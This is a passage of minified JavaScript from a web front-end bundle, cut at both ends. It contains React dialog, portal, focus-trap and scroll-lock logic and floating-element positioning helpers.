0:e.id));$r(e,t,(t=>{Mr(t,...r)||n.unshift(function(e,t=""){return M(Or(e,Hr(),!0),Or(e,Hr(t),!0))}(t,e))}),((t,r)=>{r.hasAttribute("data-dialog")&&r.id!==e||n.unshift(Wr(t,e))}));return()=>{for(const e of n)e()}}const Kr=window.ReactDOM;function qr(e,t){const n=setTimeout(t,e);return()=>clearTimeout(n)}function Yr(...e){return e.join(", ").split(", ").reduce(((e,t)=>{const n=t.endsWith("ms")?1:1e3,r=Number.parseFloat(t||"0s")*n;return r>e?r:e}),0)}function Xr(e,t,n){return!(n||!1===t||e&&!t)}var Zr=jt((function(e){var t=e,{store:n,alwaysVisible:r}=t,o=x(t,["store","alwaysVisible"]);const i=sr();D(n=n||i,!1);const s=(0,B.useRef)(null),a=Pe(o.id),[l,c]=(0,B.useState)(null),u=n.useState("open"),d=n.useState("mounted"),p=n.useState("animated"),f=n.useState("contentElement"),h=et(n.disclosure,"contentElement");_e((()=>{s.current&&(null==n||n.setContentElement(s.current))}),[n]),_e((()=>{let e;return null==n||n.setState("animated",(t=>(e=t,!0))),()=>{void 0!==e&&(null==n||n.setState("animated",e))}}),[n]),_e((()=>{if(p){if(null==f?void 0:f.isConnected)return function(e){let t=requestAnimationFrame((()=>{t=requestAnimationFrame(e)}));return()=>cancelAnimationFrame(t)}((()=>{c(u?"enter":d?"leave":null)}));c(null)}}),[p,f,u,d]),_e((()=>{if(!n)return;if(!p)return;if(!l)return;if(!f)return;const e=()=>null==n?void 0:n.setState("animating",!1),t=()=>(0,Kr.flushSync)(e);if("leave"===l&&u)return;if("enter"===l&&!u)return;if("number"==typeof p){return qr(p,t)}const{transitionDuration:r,animationDuration:o,transitionDelay:i,animationDelay:s}=getComputedStyle(f),{transitionDuration:a="0",animationDuration:c="0",transitionDelay:d="0",animationDelay:m="0"}=h?getComputedStyle(h):{},g=Yr(i,s,d,m)+Yr(r,o,a,c);if(!g)return"enter"===l&&n.setState("animated",!1),void e();return qr(Math.max(g-1e3/60,0),t)}),[n,p,f,h,u,l]),o=Me(o,(e=>(0,_t.jsx)(ur,{value:n,children:e})),[n]);const m=Xr(d,o.hidden,r),g=o.style,y=(0,B.useMemo)((()=>m?b(v({},g),{display:"none"}):g),[m,g]);return L(o=b(v({id:a,"data-open":u||void 0,"data-enter":"enter"===l||void 0,"data-leave":"leave"===l||void 0,hidden:m},o),{ref:Ee(a?n.setContentElement:null,s,o.ref),style:y}))})),Qr=St((function(e){return kt("div",Zr(e))})),Jr=St((function(e){var t=e,{unmountOnHide:n}=t,r=x(t,["unmountOnHide"]);const o=sr();return!1===et(r.store||o,(e=>!n||(null==e?void 0:e.mounted)))?null:(0,_t.jsx)(Qr,v({},r))}));function eo({store:e,backdrop:t,alwaysVisible:n,hidden:r}){const o=(0,B.useRef)(null),i=Yn({disclosure:e}),s=et(e,"contentElement");(0,B.useEffect)((()=>{const e=o.current,t=s;e&&t&&(e.style.zIndex=getComputedStyle(t).zIndex)}),[s]),_e((()=>{const e=null==s?void 0:s.id;if(!e)return;const t=o.current;return t?Wr(t,e):void 0}),[s]);const a=Zr({ref:o,store:i,role:"presentation","data-backdrop":(null==s?void 0:s.id)||"",alwaysVisible:n,hidden:null!=r?r:void 0,style:{position:"fixed",top:0,right:0,bottom:0,left:0}});if(!t)return null;if((0,B.isValidElement)(t))return(0,_t.jsx)(or,b(v({},a),{render:t}));const l="boolean"!=typeof t?t:"div";return(0,_t.jsx)(or,b(v({},a),{render:(0,_t.jsx)(l,{})}))}function to(e){return zr(e,"aria-hidden","true")}function no(){return"inert"in HTMLElement.prototype}function ro(e,t){if(!("style"in e))return T;if(no())return Or(e,"inert",!0);const n=$t(e,!0).map((e=>{if(null==t?void 0:t.some((t=>t&&X(t,e))))return T;const n=Dr(e,"focus",(()=>(e.focus=T,()=>{delete e.focus})));return M(zr(e,"tabindex","-1"),n)}));return M(...n,to(e),Lr(e,{pointerEvents:"none",userSelect:"none",cursor:"default"}))}function oo(e,t,n){const r=function({attribute:e,contentId:t,contentElement:n,enabled:r}){const[o,i]=Ie(),s=(0,B.useCallback)((()=>{if(!r)return!1;if(!n)return!1;const{body:o}=K(n),i=o.getAttribute(e);return!i||i===t}),[o,r,n,e,t]);return(0,B.useEffect)((()=>{if(!r)return;if(!t)return;if(!n)return;const{body:o}=K(n);if(s())return o.setAttribute(e,t),()=>o.removeAttribute(e);const a=new MutationObserver((()=>(0,Kr.flushSync)(i)));return a.observe(o,{attributeFilter:[e]}),()=>a.disconnect()}),[o,r,t,n,s,e]),s}({attribute:"data-dialog-prevent-body-scroll",contentElement:e,contentId:t,enabled:n});(0,B.useEffect)((()=>{if(!r())return;if(!e)return;const t=K(e),n=q(e),{documentElement:o,body:i}=t,s=o.style.getPropertyValue("--scrollbar-width"),a=s?Number.parseInt(s):n.innerWidth-o.clientWidth,l=function(e){const t=e.getBoundingClientRect().left;return Math.round(t)+e.scrollLeft?"paddingLeft":"paddingRight"}(o),c=ae()&&!ce();return M((d="--scrollbar-width",p=`${a}px`,(u=o)?Dr(u,d,(()=>{const e=u.style.getPropertyValue(d);return u.style.setProperty(d,p),()=>{e?u.style.setProperty(d,e):u.style.removeProperty(d)}})):()=>{}),c?(()=>{var e,t;const{scrollX:r,scrollY:o,visualViewport:s}=n,c=null!=(e=null==s?void 0:s.offsetLeft)?e:0,u=null!=(t=null==s?void 0:s.offsetTop)?t:0,d=Lr(i,{position:"fixed",overflow:"hidden",top:-(o-Math.floor(u))+"px",left:-(r-Math.floor(c))+"px",right:"0",[l]:`${a}px`});return()=>{d(),n.scrollTo({left:r,top:o,behavior:"instant"})}})():Lr(i,{overflow:"hidden",[l]:`${a}px`}));var u,d,p}),[r,e])}var io=(0,B.createContext)({});function so({store:e,type:t,listener:n,capture:r,domReady:o}){const i=ke(n),s=et(e,"open"),a=(0,B.useRef)(!1);_e((()=>{if(!s)return;if(!o)return;const{contentElement:t}=e.getState();if(!t)return;const n=()=>{a.current=!0};return t.addEventListener("focusin",n,!0),()=>t.removeEventListener("focusin",n,!0)}),[e,s,o]),(0,B.useEffect)((()=>{if(!s)return;return be(t,(t=>{const{contentElement:n,disclosureElement:r}=e.getState(),o=t.target;if(!n)return;if(!o)return;if(!function(e){return"HTML"===e.tagName||X(K(e).body,e)}(o))return;if(X(n,o))return;if(function(e,t){if(!e)return!1;if(X(e,t))return!0;const n=t.getAttribute("aria-activedescendant");if(n){const t=K(e).getElementById(n);if(t)return X(e,t)}return!1}(r,o))return;if(o.hasAttribute("data-focus-trap"))return;if(function(e,t){if(!("clientY"in e))return!1;const n=t.getBoundingClientRect();return 0!==n.width&&0!==n.height&&n.top<=e.clientY&&e.clientY<=n.top+n.height&&n.left<=e.clientX&&e.clientX<=n.left+n.width}(t,n))return;var s;a.current&&!Ur(o,n.id)||((s=o)&&s[Qt]||i(t))}),r)}),[s,r])}function ao(e,t){return"function"==typeof e?e(t):!!e}function lo(e,t,n){const r=function(e){const t=(0,B.useRef)();return(0,B.useEffect)((()=>{if(e)return be("mousedown",(e=>{t.current=e.target}),!0);t.current=null}),[e]),t}(et(e,"open")),o={store:e,domReady:n,capture:!0};so(b(v({},o),{type:"click",listener:n=>{const{contentElement:o}=e.getState(),i=r.current;i&&ee(i)&&Ur(i,null==o?void 0:o.id)&&ao(t,n)&&e.hide()}})),so(b(v({},o),{type:"focusin",listener:n=>{const{contentElement:r}=e.getState();r&&n.target!==K(r)&&ao(t,n)&&e.hide()}})),so(b(v({},o),{type:"contextmenu",listener:n=>{ao(t,n)&&e.hide()}}))}var co=jt((function(e){var t=e,{autoFocusOnShow:n=!0}=t,r=x(t,["autoFocusOnShow"]);return r=Me(r,(e=>(0,_t.jsx)(Ot.Provider,{value:n,children:e})),[n])})),uo=(St((function(e){return kt("div",co(e))})),(0,B.createContext)(0));function po({level:e,children:t}){const n=(0,B.useContext)(uo),r=Math.max(Math.min(e||n+1,6),1);return(0,_t.jsx)(uo.Provider,{value:r,children:t})}var fo=jt((function(e){return e=b(v({},e),{style:v({border:0,clip:"rect(0 0 0 0)",height:"1px",margin:"-1px",overflow:"hidden",padding:0,position:"absolute",whiteSpace:"nowrap",width:"1px"},e.style)})})),ho=(St((function(e){return kt("span",fo(e))})),jt((function(e){return e=b(v({"data-focus-trap":"",tabIndex:0,"aria-hidden":!0},e),{style:v({position:"fixed",top:0,left:0},e.style)}),e=fo(e)}))),mo=St((function(e){return kt("span",ho(e))})),go=(0,B.createContext)(null);function vo(e){queueMicrotask((()=>{null==e||e.focus()}))}var bo=jt((function(e){var t=e,{preserveTabOrder:n,preserveTabOrderAnchor:r,portalElement:o,portalRef:i,portal:s=!0}=t,a=x(t,["preserveTabOrder","preserveTabOrderAnchor","portalElement","portalRef","portal"]);const l=(0,B.useRef)(null),c=Ee(l,a.ref),u=(0,B.useContext)(go),[d,p]=(0,B.useState)(null),[f,h]=(0,B.useState)(null),m=(0,B.useRef)(null),g=(0,B.useRef)(null),y=(0,B.useRef)(null),w=(0,B.useRef)(null);return _e((()=>{const e=l.current;if(!e||!s)return void p(null);const t=function(e,t){return t?"function"==typeof t?t(e):t:K(e).createElement("div")}(e,o);if(!t)return void p(null);const n=t.isConnected;if(!n){const n=u||function(e){return K(e).body}(e);n.appendChild(t)}return t.id||(t.id=e.id?`portal/${e.id}`:function(e="id"){return`${e?`${e}-`:""}${Math.random().toString(36).slice(2,8)}`}()),p(t),H(i,t),n?void 0:()=>{t.remove(),H(i,null)}}),[s,o,u,i]),_e((()=>{if(!s)return;if(!n)return;if(!r)return;const e=K(r).createElement("span");return e.style.position="fixed",r.insertAdjacentElement("afterend",e),h(e),()=>{e.remove(),h(null)}}),[s,n,r]),(0,B.useEffect)((()=>{if(!d)return;if(!n)return;let e=0;const t=t=>{if(!ge(t))return;const n="focusin"===t.type;if(cancelAnimationFrame(e),n)return function(e){const t=e.querySelectorAll("[data-tabindex]"),n=e=>{const t=e.getAttribute("data-tabindex");e.removeAttribute("data-tabindex"),t?e.setAttribute("tabindex",t):e.removeAttribute("tabindex")};e.hasAttribute("data-tabindex")&&n(e);for(const e of t)n(e)}(d);e=requestAnimationFrame((()=>{!function(e,t){const n=$t(e,t);for(const e of n)Yt(e)}(d,!0)}))};return d.addEventListener("focusin",t,!0),d.addEventListener("focusout",t,!0),()=>{cancelAnimationFrame(e),d.removeEventListener("focusin",t,!0),d.removeEventListener("focusout",t,!0)}}),[d,n]),a=Me(a,(e=>{if(e=(0,_t.jsx)(go.Provider,{value:d||u,children:e}),!s)return e;if(!d)return(0,_t.jsx)("span",{ref:c,id:a.id,style:{position:"fixed"},hidden:!0});e=(0,_t.jsxs)(_t.Fragment,{children:[n&&d&&(0,_t.jsx)(mo,{ref:g,"data-focus-trap":a.id,className:"__focus-trap-inner-before",onFocus:e=>{ge(e,d)?vo(Wt()):vo(m.current)}}),e,n&&d&&(0,_t.jsx)(mo,{ref:y,"data-focus-trap":a.id,className:"__focus-trap-inner-after",onFocus:e=>{ge(e,d)?vo(Ut()):vo(w.current)}})]}),d&&(e=(0,Kr.createPortal)(e,d));let t=(0,_t.jsxs)(_t.Fragment,{children:[n&&d&&(0,_t.jsx)(mo,{ref:m,"data-focus-trap":a.id,className:"__focus-trap-outer-before",onFocus:e=>{!(e.relatedTarget===w.current)&&ge(e,d)?vo(g.current):vo(Ut())}}),n&&(0,_t.jsx)("span",{"aria-owns":null==d?void 0:d.id,style:{position:"fixed"}}),n&&d&&(0,_t.jsx)(mo,{ref:w,"data-focus-trap":a.id,className:"__focus-trap-outer-after",onFocus:e=>{if(ge(e,d))vo(y.current);else{const e=Wt();if(e===g.current)return void requestAnimationFrame((()=>{var e;return null==(e=Wt())?void 0:e.focus()}));vo(e)}}})]});return f&&n&&(t=(0,Kr.createPortal)(t,f)),(0,_t.jsxs)(_t.Fragment,{children:[t,e]})}),[d,u,s,a.id,n,f]),a=b(v({},a),{ref:c})})),xo=(St((function(e){return kt("div",bo(e))})),le());function yo(e,t=!1){if(!e)return null;const n="current"in e?e.current:e;return n?t?Ft(n)?n:null:n:null}var wo=jt((function(e){var t=e,{store:n,open:r,onClose:o,focusable:i=!0,modal:s=!0,portal:a=!!s,backdrop:l=!!s,hideOnEscape:c=!0,hideOnInteractOutside:u=!0,getPersistentElements:d,preventBodyScroll:p=!!s,autoFocusOnShow:f=!0,autoFocusOnHide:h=!0,initialFocus:m,finalFocus:g,unmountOnHide:y,unstable_treeSnapshotKey:w}=t,_=x(t,["store","open","onClose","focusable","modal","portal","backdrop","hideOnEscape","hideOnInteractOutside","getPersistentElements","preventBodyScroll","autoFocusOnShow","autoFocusOnHide","initialFocus","finalFocus","unmountOnHide","unstable_treeSnapshotKey"]);const S=lr(),C=(0,B.useRef)(null),k=function(e={}){const[t,n]=rt(Xn,e);return Zn(t,n,e)}({store:n||S,open:r,setOpen(e){if(e)return;const t=C.current;if(!t)return;const n=new Event("close",{bubbles:!1,cancelable:!0});o&&t.addEventListener("close",o,{once:!0}),t.dispatchEvent(n),n.defaultPrevented&&k.setOpen(!0)}}),{portalRef:j,domReady:E}=Ae(a,_.portalRef),P=_.preserveTabOrder,N=et(k,(e=>P&&!s&&e.mounted)),T=Pe(_.id),I=et(k,"open"),R=et(k,"mounted"),A=et(k,"contentElement"),D=Xr(R,_.hidden,_.alwaysVisible);oo(A,T,p&&!D),lo(k,u,E);const{wrapElement:z,nestedDialogs:O}=function(e){const t=(0,B.useContext)(io),[n,r]=(0,B.useState)([]),o=(0,B.useCallback)((e=>{var n;return r((t=>[...t,e])),M(null==(n=t.add)?void 0:n.call(t,e),(()=>{r((t=>t.filter((t=>t!==e))))}))}),[t]);_e((()=>Ke(e,["open","contentElement"],(n=>{var r;if(n.open&&n.contentElement)return null==(r=t.add)?void 0:r.call(t,e)}))),[e,t]);const i=(0,B.useMemo)((()=>({store:e,add:o})),[e,o]);return{wrapElement:(0,B.useCallback)((e=>(0,_t.jsx)(io.Provider,{value:i,children:e})),[i]),nestedDialogs:n}}(k);_=Me(_,z,[z]),_e((()=>{if(!I)return;const e=C.current,t=Y(e,!0);t&&"BODY"!==t.tagName&&(e&&X(e,t)||k.setDisclosureElement(t))}),[k,I]),xo&&(0,B.useEffect)((()=>{if(!R)return;const{disclosureElement:e}=k.getState();if(!e)return;if(!Q(e))return;const t=()=>{let t=!1;const n=()=>{t=!0};e.addEventListener("focusin",n,{capture:!0,once:!0}),ve(e,"mouseup",(()=>{e.removeEventListener("focusin",n,!0),t||qt(e)}))};return e.addEventListener("mousedown",t),()=>{e.removeEventListener("mousedown",t)}}),[k,R]),(0,B.useEffect)((()=>{if(!R)return;if(!E)return;const e=C.current;if(!e)return;const t=q(e),n=t.visualViewport||t,r=()=>{var n,r;const o=null!=(r=null==(n=t.visualViewport)?void 0:n.height)?r:t.innerHeight;e.style.setProperty("--dialog-viewport-height",`${o}px`)};return r(),n.addEventListener("resize",r),()=>{n.removeEventListener("resize",r)}}),[R,E]),(0,B.useEffect)((()=>{if(!s)return;if(!R)return;if(!E)return;const e=C.current;if(!e)return;return e.querySelector("[data-dialog-dismiss]")?void 0:function(e,t){const n=K(e).createElement("button");return n.type="button",n.tabIndex=-1,n.textContent="Dismiss popup",Object.assign(n.style,{border:"0px",clip:"rect(0 0 0 0)",height:"1px",margin:"-1px",overflow:"hidden",padding:"0px",position:"absolute",whiteSpace:"nowrap",width:"1px"}),n.addEventListener("click",t),e.prepend(n),()=>{n.removeEventListener("click",t),n.remove()}}(e,k.hide)}),[k,s,R,E]),_e((()=>{if(!no())return;if(I)return;if(!R)return;if(!E)return;const e=C.current;return e?ro(e):void 0}),[I,R,E]);const L=I&&E;_e((()=>{if(!T)return;if(!L)return;const e=C.current;return function(e,t){const{body:n}=K(t[0]),r=[];return $r(e,t,(t=>{r.push(Or(t,Br(e),!0))})),M(Or(n,Br(e),!0),(()=>{for(const e of r)e()}))}(T,[e])}),[T,L,w]);const F=ke(d);_e((()=>{if(!T)return;if(!L)return;const{disclosureElement:e}=k.getState(),t=[C.current,...F()||[],...O.map((e=>e.getState().contentElement))];return s?M(Gr(T,t),function(e,t){const n=[],r=t.map((e=>null==e?void 0:e.id));return $r(e,t,(e=>{Mr(e,...r)||function(e,...t){if(!e)return!1;const n=e.getAttribute("data-focus-trap");return null!=n&&(!t.length||""!==n&&t.some((e=>n===e)))}(e,...r)||n.unshift(ro(e,t))}),(e=>{e.hasAttribute("role")&&(t.some((t=>t&&X(t,e)))||n.unshift(zr(e,"role","none")))})),()=>{for(const e of n)e()}}(T,t)):Gr(T,[e,...t])}),[T,k,L,F,O,s,w]);const V=!!f,$=Re(f),[H,W]=(0,B.useState)(!1);(0,B.useEffect)((()=>{if(!I)return;if(!V)return;if(!E)return;if(!(null==A?void 0:A.isConnected))return;const e=yo(m,!0)||A.querySelector("[data-autofocus=true],[autofocus]")||Ht(A,!0,a&&N)||A,t=Ft(e);$(t?e:null)&&(W(!0),queueMicrotask((()=>{e.focus(),xo&&e.scrollIntoView({block:"nearest",inline:"nearest"})})))}),[I,V,E,A,m,a,N,$]);const U=!!h,G=Re(h),[Z,J]=(0,B.useState)(!1);(0,B.useEffect)((()=>{if(I)return J(!0),()=>J(!1)}),[I]);const ee=(0,B.useCallback)(((e,t=!0)=>{const{disclosureElement:n}=k.getState();if(function(e){const t=Y();return!(!t||e&&X(e,t)||!Ft(t))}(e))return;let r=yo(g)||n;if(null==r?void 0:r.id){const e=K(r),t=`[aria-activedescendant="${r.id}"]`,n=e.querySelector(t);n&&(r=n)}if(r&&!Ft(r)){const e=r.closest("[data-dialog]");if(null==e?void 0:e.id){const t=K(e),n=`[aria-controls~="${e.id}"]`,o=t.querySelector(n);o&&(r=o)}}const o=r&&Ft(r);o||!t?G(o?r:null)&&o&&(null==r||r.focus()):requestAnimationFrame((()=>ee(e,!1)))}),[k,g,G]),te=(0,B.useRef)(!1);_e((()=>{if(I)return;if(!Z)return;if(!U)return;const e=C.current;te.current=!0,ee(e)}),[I,Z,E,U,ee]),(0,B.useEffect)((()=>{if(!Z)return;if(!U)return;const e=C.current;return()=>{te.current?te.current=!1:ee(e)}}),[Z,U,ee]);const ne=Re(c);(0,B.useEffect)((()=>{if(!E)return;if(!R)return;return be("keydown",(e=>{if("Escape"!==e.key)return;if(e.defaultPrevented)return;const t=C.current;if(!t)return;if(Ur(t))return;const n=e.target;if(!n)return;const{disclosureElement:r}=k.getState();("BODY"===n.tagName||X(t,n)||!r||X(r,n))&&ne(e)&&k.hide()}),!0)}),[k,E,R,ne]);const re=(_=Me(_,(e=>(0,_t.jsx)(po,{level:s?1:void 0,children:e})),[s])).hidden,oe=_.alwaysVisible;_=Me(_,(e=>l?(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(eo,{store:k,backdrop:l,hidden:re,alwaysVisible:oe}),e]}):e),[k,l,re,oe]);const[ie,se]=(0,B.useState)(),[ae,le]=(0,B.useState)();return _=Me(_,(e=>(0,_t.jsx)(ur,{value:k,children:(0,_t.jsx)(dr.Provider,{value:se,children:(0,_t.jsx)(pr.Provider,{value:le,children:e})})})),[k]),_=b(v({id:T,"data-dialog":"",role:"dialog",tabIndex:i?-1:void 0,"aria-labelledby":ie,"aria-describedby":ae},_),{ref:Ee(C,_.ref)}),_=co(b(v({},_),{autoFocusOnShow:H})),_=Zr(v({store:k},_)),_=an(b(v({},_),{focusable:i})),_=bo(b(v({portal:a},_),{portalRef:j,preserveTabOrder:N}))}));function _o(e,t=lr){return St((function(n){const r=t();return et(n.store||r,(e=>!n.unmountOnHide||(null==e?void 0:e.mounted)||!!n.open))?(0,_t.jsx)(e,v({},n)):null}))}_o(St((function(e){return kt("div",wo(e))})),lr);const So=Math.min,Co=Math.max,ko=(Math.round,Math.floor,{left:"right",right:"left",bottom:"top",top:"bottom"}),jo={start:"end",end:"start"};function Eo(e,t,n){return Co(e,So(t,n))}function Po(e,t){return"function"==typeof e?e(t):e}function No(e){return e.split("-")[0]}function To(e){return e.split("-")[1]}function Io(e){return"x"===e?"y":"x"}function Ro(e){return"y"===e?"height":"width"}function Mo(e){return["top","bottom"].includes(No(e))?"y":"x"}function Ao(e){return Io(Mo(e))}function Do(e){return e.replace(/start|end/g,(e=>jo[e]))}function zo(e){return e.replace(/left|right|bottom|top/g,(e=>ko[e]))}function Oo(e){return"number"!=typeof e?function(e){return{top:0,right:0,bottom:0,left:0,...e}}(e):{top:e,right:e,bottom:e,left:e}}function Lo(e){return{...e,top:e.y,left:e.x,right:e.x+e.width,bottom:e.y+e.height}}function Fo(e,t,n){let{reference:r,floating:o}=e;const i=Mo(t),s=Ao(t),a=Ro(s),l=No(t),c="y"===i,u=r.x+r.width/2-o.width/2,d=r.y+r.height/2-o.height/2,p=r[a]/2-o[a]/2;let f;switch(l){case"top":f={x:u,y:r.y-o.height};break;case"bottom":f={x:u,y:r.y+r.height};break;case"right":f={x:r.x+r.width,y:d};break;case"left":f={x:r.x-o.width,y:d};break;default:f={x:r.x,y:r.y}}switch(To(t)){case"start":f[s]-=p*(n&&c?-1:1);break;case"end":f[s]+=p*(n&&c?-1:1)}return f}async function Bo(e,t){var n;void 0===t&&(t={});const{x:r,y:o,platform:i,rects:s,elements:a,strategy:l}=e,{boundary:c="clippingAncestors",rootBoundary:u="viewport",elementContext:d="floating",altBoundary:p=!1,padding:f=0}=Po(t,e),h=Oo(f),m=a[p?"floating"===d?"reference":"floating":d],g=Lo(await i.getClippingRect({element:null==(n=await(null==i.isElement?void 0:i.isElement(m)))||n?m:m.contextElement||await(null==i.getDocumentElement?void 0:i.getDocumentElement(a.floating)),boundary:c,rootBoundary:u,strategy:l})),v="floating"===d?{...s.floating,x:r,y:o}:s.reference,b=await(null==i.getOffsetParent?void 0:i.getOffsetParent(a.floating)),x=await(null==i.isElement?void 0:i.isElement(b))&&await(null==i.getScale?void 0:i.getScale(b))||{x:1,y:1},y=Lo(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({rect:v,offsetParent:b,strategy:l}):v);return{top:(g.top-y.top+h.top)/x.y,bottom:(y.bottom-g.bottom+h.bottom)/x.y,left:(g.left-y.left+h.left)/x.x,right:(y.right-g.right+h.right)/x.x}}const Vo=function(e){return void 0===e&&(e=0),{name:"offset",options:e,async fn(t){const{x:n,y:r}=t,o=await async function(e,t){const{placement:n,platform:r,elements:o}=e,i=await(null==r.isRTL?void 0:r.isRTL(o.floating)),s=No(n),a=To(n),l="y"===Mo(n),c=["left","top"].includes(s)?-1:1,u=i&&l?-1:1,d=Po(t,e);let{mainAxis:p,crossAxis:f,alignmentAxis:h}="number"==typeof d?{mainAxis:d,crossAxis:0,alignmentAxis:null}:{mainAxis:0,crossAxis:0,alignmentAxis:null,...d};return a&&"number"==typeof h&&(f="end"===a?-1*h:h),l?{x:f*u,y:p*c}:{x:p*c,y:f*u}}(t,e);return{x:n+o.x,y:r+o.y,data:o}}}},$o=Math.min,Ho=Math.max,Wo=Math.round,Uo=Math.floor,Go=e=>({x:e,y:e});function Ko(){return"undefined"!=typeof window}function qo(e){return Zo(e)?(e.nodeName||"").toLowerCase():"#document"}function Yo(e){var t;return(null==e||null==(t=e.ownerDocument)?void 0:t.defaultView)||window}function Xo(e){var t;return null==(t=(Zo(e)?e.ownerDocument:e.document)||window.document)?void 0:t.documentElement}function Zo(e){return!!Ko()&&(e instanceof Node||e instanceof Yo(e).Node)}function Qo(e){return!!Ko()&&(e instanceof Element||e instanceof Yo(e).Element)}function Jo(e){return!!Ko()&&(e instanceof HTMLElement||e instanceof Yo(e).HTMLElement)}function ei(e){return!(!Ko()||"undefined"==typeof ShadowRoot)&&(e instanceof ShadowRoot||e instanceof Yo(e).ShadowRoot)}function ti(e){const{overflow:t,overflowX:n,overflowY:r,display:o}=ai(e);return/auto|scroll|overlay|hidden|clip/.test(t+r+n)&&!["inline","contents"].includes(o)}function ni(e){return["table","td","th"].includes(qo(e))}function ri(e){return[":popover-open",":modal"].some((t=>{try{return e.matches(t)}catch(e){return!1}}))}function oi(e){const t=ii(),n=Qo(e)?ai(e):e;return["transform","translate","scale","rotate","perspective"].some((e=>!!n[e]&&"none"!==n[e]))||!!n.containerType&&"normal"!==n.containerType||!t&&!!n.backdropFilter&&"none"!==n.backdropFilter||!t&&!!n.filter&&"none"!==n.filter||["transform","translate","scale","rotate","perspective","filter"].some((e=>(n.willChange||"").includes(e)))||["paint","layout","strict","content"].some((e=>(n.contain||"").includes(e)))}function ii(){return!("undefined"==typeof CSS||!CSS.supports)&&CSS.supports("-webkit-backdrop-filter","none")}function si(e){return["html","body","#document"].includes(qo(e))}function ai(e){return Yo(e).getComputedStyle(e)}function li(e){return Qo(e)?{scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}:{scrollLeft:e.scrollX,scrollTop:e.scrollY}}function ci(e){if("html"===qo(e))return e;const t=e.assignedSlot||e.parentNode||ei(e)&&e.host||Xo(e);return ei(t)?t.host:t}function ui(e){const t=ci(e);return si(t)?e.ownerDocument?e.ownerDocument.body:e.body:Jo(t)&&ti(t)?t:ui(t)}function di(e,t,n){var r;void 0===t&&(t=[]),void 0===n&&(n=!0);const o=ui(e),i=o===(null==(r=e.ownerDocument)?void 0:r.body),s=Yo(o);if(i){const e=function(e){return e.parent&&Object.getPrototypeOf(e.parent)?e.frameElement:null}(s);return t.concat(s,s.visualViewport||[],ti(o)?o:[],e&&n?di(e):[])}return t.concat(o,di(o,[],n))}function pi(e){const t=ai(e);let n=parseFloat(t.width)||0,r=parseFloat(t.height)||0;const o=Jo(e),i=o?e.offsetWidth:n,s=o?e.offsetHeight:r,a=Wo(n)!==i||Wo(r)!==s;return a&&(n=i,r=s),{width:n,height:r,$:a}}function fi(e){return Qo(e)?e:e.contextElement}function hi(e){const t=fi(e);if(!Jo(t))return Go(1);const n=t.getBoundingClientRect(),{width:r,height:o,$:i}=pi(t);let s=(i?Wo(n.width):n.width)/r,a=(i?Wo(n.height):n.height)/o;return s&&Number.isFinite(s)||(s=1),a&&Number.isFinite(a)||(a=1),{x:s,y:a}}const mi=Go(0);function gi(e){const t=Yo(e);return ii()&&t.visualViewport?{x:t.visualViewport.offsetLeft,y:t.visualViewport.offsetTop}:mi}function vi(e,t,n,r){void 0===t&&(t=!1),void 0===n&&(n=!1);const o=e.getBoundingClientRect(),i=fi(e);let s=Go(1);t&&(r?Qo(r)&&(s=hi(r)):s=hi(e));const a=function(e,t,n){return void 0===t&&(t=!1),!(!n||t&&n!==Yo(e))&&t}(i,n,r)?gi(i):Go(0);let l=(o.left+a.x)/s.x,c=(o.top+a.y)/s.y,u=o.width/s.x,d=o.height/s.y;if(i){const e=Yo(i),t=r&&Qo(r)?Yo(r):r;let n=e,o=n.frameElement;for(;o&&r&&t!==n;){const e=hi(o),t=o.getBoundingClientRect(),r=ai(o),i=t.left+(o.clientLeft+parseFloat(r.paddingLeft))*e.x,s=t.top+(o.clientTop+parseFloat(r.paddingTop))*e.y;l*=e.x,c*=e.y,u*=e.x,d*=e.y,l+=i,c+=s,n=Yo(o),o=n.frameElement}}return Lo({width:u,height:d,x:l,y:c})}const bi=[":popover-open",":modal"];function xi(e){return bi.some((t=>{try{return e.matches(t)}catch(e){return!1}}))}function yi(e){return vi(Xo(e)).left+li(e).scrollLeft}function wi(e,t,n){let r;if("viewport"===t)r=function(e,t){const n=Yo(e),r=Xo(e),o=n.visualViewport;let i=r.clientWidth,s=r.clientHeight,a=0,l=0;if(o){i=o.width,s=o.height;const e=ii();(!e||e&&"fixed"===t)&&(a=o.offsetLeft,l=o.offsetTop)}return{width:i,height:s,x:a,y:l}}(e,n);else if("document"===t)r=function(e){const t=Xo(e),n=li(e),r=e.ownerDocument.body,o=Ho(t.scrollWidth,t.clientWidth,r.scrollWidth,r.clientWidth),i=Ho(t.scrollHeight,t.clientHeight,r.scrollHeight,r.clientHeight);let s=-n.scrollLeft+yi(e);const a=-n.scrollTop;return"rtl"===ai(r).direction&&(s+=Ho(t.clientWidth,r.clientWidth)-o),{width:o,height:i,x:s,y:a}}(Xo(e));else if(Qo(t))r=function(e,t){const n=vi(e,!0,"fixed"===t),r=n.top+e.clientTop,o=n.left+e.clientLeft,i=Jo(e)?hi(e):Go(1);return{width:e.clientWidth*i.x,height:e.clientHeight*i.y,x:o*i.x,y:r*i.y}}(t,n);else{const n=gi(e);r={...t,x:t.x-n.x,y:t.y-n.y}}return Lo(r)}function _i(e,t){const n=ci(e);return!(n===t||!Qo(n)||si(n))&&("fixed"===ai(n).position||_i(n,t))}function Si(e,t,n){const r=Jo(t),o=Xo(t),i="fixed"===n,s=vi(e,!0,i,t);let a={scrollLeft:0,scrollTop:0};const l=Go(0);if(r||!r&&!i)if(("body"!==qo(t)||ti(o))&&(a=li(t)),r){const e=vi(t,!0,i,t);l.x=e.x+t.clientLeft,l.y=e.y+t.clientTop}else o&&(l.x=yi(o));return{x:s.left+a.scrollLeft-l.x,y:s.top+a.scrollTop-l.y,width:s.width,height:s.height}}function Ci(e,t){return Jo(e)&&"fixed"!==ai(e).position?t?t(e):e.offsetParent:null}function ki(e,t){const n=Yo(e);if(!Jo(e)||xi(e))return n;let r=Ci(e,t);for(;r&&ni(r)&&"static"===ai(r).position;)r=Ci(r,t);return r&&("html"===qo(r)||"body"===qo(r)&&"static"===ai(r).position&&!oi(r))?n:r||function(e){let t=ci(e);for(;Jo(t)&&!si(t);){if(oi(t))return t;if(ri(t))return null;t=ci(t)}return null}(e)||n}const ji={convertOffsetParentRelativeRectToViewportRelativeRect:function(e){let{elements:t,rect:n,offsetParent:r,strategy:o}=e;const i="fixed"===o,s=Xo(r),a=!!t&&xi(t.floating);if(r===s||a&&i)return n;let 